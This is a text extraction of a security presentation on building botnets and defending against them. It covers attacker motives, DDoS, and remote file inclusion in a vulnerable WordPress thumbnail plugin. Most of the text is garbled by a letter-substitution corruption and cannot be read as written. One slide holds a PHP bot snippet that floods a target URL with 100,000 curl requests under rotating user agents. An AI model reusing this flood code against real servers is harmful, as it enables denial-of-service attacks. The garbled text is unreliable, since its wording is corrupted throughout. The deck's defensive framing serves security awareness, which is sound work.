how to build botnets and defend against them

7/27/2019 How to build botnets and defend against them.

http://slidepdf.com/reader/full/how-to-build-botnets-and-defend-against-them 1/30

Vrbsbhtet`lh dy ]brrbhkb L‐Klhhlr tl Kerlc`heKlh • Ney 57, 465=

JLW ]L DR@CM PLRT LWH DL]HB]!WE@], @ VTLDEDCP KEH‐] [EP ]JE].

JLW ]L MBIBHM EGE@H[] DL]HB][!

Vrbsbhtbr? ]brrbhkb L‐Klhhlr




@H]TLMRK]@LH]brrbhkb L‐Klhhlr - K@[[V, K@[E, GVBH, K|BJ

• Gcldec Bhtbrpr`sb [bkur`ty Erkj`tbkt

• Eaene` [bkur`ty Kbhtbr li Bxkbccbhkb

• Desbm `h Etcehte, GE - R[E

• Lvbr 5= ybers li sbkur`ty bxpbrt`sb.

• Vr`lr rlcb es Gcldec [bkur`ty Erkj`tbkturb ilr ]revbcplrt

• Wlrabm `h nehy vbrt`kecs `hkcum`hg, klnnbrkb, !hehk`ec, bhtbrpr`sb, trevb




EGBHME

• [bkur`ty

• ]jrbet Dr`b!hg

• Etteka ]llcs ehm ]bkjh`qubs

• C`vb TI@ ehm MMl[ Ettekas

• [unnery

• U&E




[bkur`ty Klhkbp]jb [upbr Klhmbhsbm Ybrs`lh


http://slidepdf.com/reader/full/how-to-build-botnets-and-defend-against-them 5/30Vrbsbhtet`lh dy ]brrbhkb L‐Klhhlr tl Kerlc`heKlh • Ney 57, 465=

NL]@YE]@LH

Ettekabr nlt`vet`lhs iecc `htl ketbglr`bs• Vlc`t`kec ‛ Etteka tjlsb tjet mlh‐t egrbb w`tj

tjb`r dbc`bis.• I`hehkèc ‛ ]jbrb `s slnb !hehkèc ge`h tl db

jem dy etteka`hg.• Gclry ‛ ]jby etteka ilr rbklgh`t`lh li tjb`r

prlwbss.• Lr @t‐s ]ubsmey ehm tjby erb dlrbm…

Etteka npekts?

• Mete Clss• [brv`kb @htbrrupt`lh• Ireum

Etteka nbtjlms• Tbslurkb Klhsunpt`lh Ettek• Neh-`h-tjb-N`mmcb (Neh`puce

]rehs`t)• Jòeka`hg/Tbm`rbkt`lhEppc`ket`lh Ettekas ‛ @hobkt`hg RDbjev`lr htl Vrlkbss`hg Clg`k ‛ [UC @hobkt`lh, Klnnehm @hobkt

]jb c`st glbs lh…



CBYBC [B]]@HG

Wjet erb ylur d`ggbst sbkur`ty klhkbrhs ehm kjeccbhgylur lhc`hb prbsbhkb<



WJE] ABBV[ K@[L‐[ RV E] H@GJ]<

Mete Drbekjbs

• Jlw ml ylu n`t`getb ege`hst mete drbekjbs ehm uh`htbht`lhec `hilrnet`l

[brv`kb Eve`ced`c`ty

• B`tjbr tjrlugj n`sklh!guret`lh (`nprlpbr kjehgb klhtrlc) lr tjrlugj Etj`s gbhbreccy ieccs uhmbr tjb lvbrs`gjt li tjb K@[L.

• Wjet `s ylur stretbgy tl n`t`getb eve`ced`c`ty ettekas<

D`cc`hg Ettekas

• Ylcunbtr`k ]re"k Icllm`hg

• ]jlsb [kec`hg Lvbregbs… surb, wb‐cc d`cc ylu ilr tjet!

Drehm Vrltbkt`lh

• Wjet `s tjb klst li eh `npekt tl ylur klnpehy‐s Drehm `h tbrns li mlccer



Wjet @‐vb sbbh…



JBEMC@HB[



DL][ HL] C@N@]BM ]L J]]V([)

Lhkb ylur eppc`ket`lhs erb klnprln`sbm dy e dlt, tjby keehy ]KV/RMV tre"k tjet tjb cehguegb/sbrvbr ecclws.

Bxenpcbs?

• MH[ Icllm

• I]V Drutb-ilrkb

• [[J Drutb-ilrkb

• H]V Tb#bkt`lh/Enpc`!ket`lh

• [HNV…



DTLDL] @H EK]@LH



EMYBT[ET@B[ ILCCLW@HG ]JB [ENB ]TBHM[

• @hkrbes`hgcy ilkusbm lh tjb Wbd Eppc`ket`lh

• Ireum

•

Wbd Epp `s trustbm dy tjb Metedesb ehm usbrs li tjb Epp• Bstedc`sj V`vlt tl tergbt tjb Bhtbrpr`sb

• MMl[ jes bvlcvbm tl ilkus lh tjb Wbd Epp `h rbkbht ybers

• Rt`c`zet`lh li Tb#bkt`vb [brv`kbs

• Kclum Desbm Etteka Emlpt`lh• Iest

• Besy

• Klhvbh`bht

• Vlwbriuc




Wjy `s `t sl besy<




[L NEHP TBNL]B I@CB @HKCR[@LH/KLNNEHM @HOBK]@LH YRCHBT

[lurkb? jttp?//www.bxpcl`t-md.kln/

[lurkb? jttp?//w




ABBV @H N@HM

• @i, @ lwh ylur dlx,

• @ lwh ylur sbrv`kb.• @ lwh ylur kustlnbrs.

• @ lwh ylur rbputet`lh.




]llcs ehm ]bkjh`qub




J@GJ CBYBC MBNL LYBTY@BW

Ettekabr

5) Tbklh/Nepp`hg tl i hm Eppc`ket lh w`tj ahlwh vuchbred`c`tyHlt klvbrbm `h tjb Mbnl, dbkeusb Bxpcl`tet`lh `s nlrb `htbrbst`hg

J`ht? Gllgcb `s e d`g jbcp!

4) Bxpcl`t TI@ vuchbred`c`ty tl ruh etteka klhtrlccbm klmb lh [brvbr@h tj`s kesb, klmb `s DrlDlt MMl[

;) Ceuhkj MMl[ tergbt`hg tjb Lpbh ke




]JB [KBHET@L

• Yuchbredcb Dclg (ehm klhsbqubhtcy, lur Dlt)?

• Iuccy Vetkjbm ehm Rpmetbm WlrmVrbss

• Wbcc-klhhbktbm

• Kclum Jlstbm

• Rhprltbktbm [`tb?

• Kclum Jlstbm

• [`tb w`tj hbtwlra ceybr prltbkt`lhs, dut hltj`hg nlrb.

• Vrltbktbm [`tb?

• Vetbht Vbhm`hg ]bkjhlclgy

• Vrltbkts Ilrn [udn`ss`lhs irln Dlts




WLTMVTB[[ ‛ IRCCP VE]KJBM

• [lnb stets?

• Vlwbrs 5/9 li ecc s`tbs lh tjb `htbrhbt.

• ]jet‐s ~76,066,666 s`tbs et cest kluht.

• Nehy m`speretb jlst`hg prlv`mbrs.

• ]jlusehms li Kustln ]jbnbs

• Ollnce! jes vbry s`n`cer `ssubs




]JBNB ‛ ]@N]JRND MTLV-@H

• –E snecc pjp skr`pt ilr krlpp`hg, zlln`hg ehm rbs`z`hg w(opg, phg, g`i). Vbribkt ilr usb lh dclgs ehm ltjbr eppc`keHL!

• –Mbvbclpbm ilr usb `h tjb WlrmVrbss tjbnb N`ndl Vrlusbm `h nehy ltjbr WlrmVrbss tjbnbs.„

• Vuccs rbnltb !cbs clkeccy

• Hlt e clt li `hput kjbka`hg

• Tbqu`rbs !cb tl db clkec pr`lr tl klhtbht vbr`!ket`lh

• Hl mbieuct sbkur`ty nbkjeh`sns

• Hltb? @ en us`hg eh lcmbr vbrs`lh, tjet‐s st`cc lut tjbrb lhdclgs




DEM [KT@V] [BTYBT - DTLDL]

‛ Rsbm pr`ner`cy dy UKI ehm Rs

‛ Ybry [`npcb [kr`pt

‛ Bes`cy Rpclembm

‛ Bes`cy Bxbkutbm

‛ Krbetbs Ness`vb ]re"k ehm KVR Clem lh Ettekabm [brvbrs




DTLDL] KLMB [H@VVB]iuhkt`lh kurc\mlwhclem ($rbnltb){

$usbregbht > errey('Nlz`cce/2.6 (Z551 R1 C`hux x:9\9=1 bh-R[1 rv?5.0.5.59) Gbkal/46556040 @kbwb(klnpet`dcb1 N[@B :.61 W`hmlws H] 2.51 ]r`mbht/=.61 .HB] KCT 4.6.267471 .HB] KCT 5.5.=;441)','Gllgcb[ud/4.5 ( jwww.gllgcb[ud.kln/[ud.jtnc)','nsh[ud-Vrlmukts/5.6 (+jttp?//sberkj.nsh.kln/nsh[ud.jtn)','Lpbre/0.66 (W`h

bh)','[eier`/2.66 (Nek`htlsj1 R1 bh)')1

$kp > kurc\`h`t($rbnltb)1kurc\sbtlpt($kp, KRTCLV]\I@CB, tbnphen('',''))1kurc\sbtlpt($kp, KRTCLV]\R[BTEGBH],$usbregbhtQrehm(6,kluht($usbregbht)-5) )1kurc\sbtlpt($kp, KRTCLV]\J]]VJBEMBT,errey("Kekjb-Klhtrlc? hl-kekjb",""))1kurc\sbtlpt($kp, KRTCLV]\JBEMBT, 6)1kurc\sbtlpt($kp, KRTCLV]\TB]RTH]TEH[IBT, 5)1kurc\bxbk($kp)1kurc\kclsb($kp)1

}

`i(iuhkt`lh\bx`sts(kurc\`h`t)){ilr($` > 61$` 3 566661$`++){

kurc\mlwhclem($tergbt."<".rehm(6,;666)/;.;;;;====)1}

}




Etteka@t‐s rbeccy besy.




Mbibhsb

@t‐s rbeccy jerm.




VTL]BK]@LH[

• Nust jevb Vrltbkt`lh lh Eppc`ket`lh Ceybr Ettekas et Gcl

• Tbec-t`nb Ecweys-lh [bkur`ty ‛ [bklhms Nettbr!

• Vrltbkt`hg Nuct`pcb Lr`g`hs irln Etteka w`tj lhb [lcut`l

• Dlt N`t`get`lh nust db Kekjbedcb

• Neab @hputs Jermbr tl Gubss

• Dclka Dem @hputs




Dlt N`t`get`lh

]bkjh`qubs




Tbkep




[RNNETP

• Ettekas erb bes`cy bxbkutbm lh e cergb skecb

• @hkcum`hg MH[, J]]V([), Mete Bx!ctret`lh, btk.

• ]ergbts erb `h ecc vbrt`kecs ehm li ecc s`zbs

• Lpbret`hg lh tjb `htbrhbt nbehs klhsteht eutlnetbm et

• Erb ylu tjb clwbst jehg`hg iru`t<

• Vrbperb, Vrltbkt, Nlh`tlr




NLTB @HIL




U&E

<Vrbsbhtbr ]brrbhkb L‐Klhhlr

tbrrbhkb.lklhhlr (et) gne`c mlt kln

[bh`lr Bhtbrpr`sb [bkur`ty Erkj`tbkt

how to build botnets and defend against them

Documents